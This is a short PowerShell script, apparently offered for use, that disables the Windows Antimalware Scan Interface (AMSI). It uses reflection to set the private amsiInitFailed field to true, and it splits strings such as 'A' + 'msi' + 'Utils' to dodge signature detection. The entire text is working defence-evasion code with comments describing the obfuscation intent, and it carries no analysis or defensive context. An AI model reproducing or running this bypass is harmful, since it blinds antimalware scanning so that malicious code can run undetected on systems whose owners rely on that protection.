# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) # Create a reference to the assembly with further obfuscation $randomPart = 'A' + 'msi' + 'Utils' $ref = [Ref] $asm = $ref.Assembly $amsiType = $asm.GetType('System.' + 'Management.' + 'Automation.' + $randomPart) # Prepare the field name in a more obfuscated way $amsiFieldName = 'amsi' + 'Init' + 'Failed' $amsiField = $amsiType.GetField($amsiFieldName, 'NonPublic, Static') # Set the field value to bypass AMSI $amsiField.SetValue($null, $true)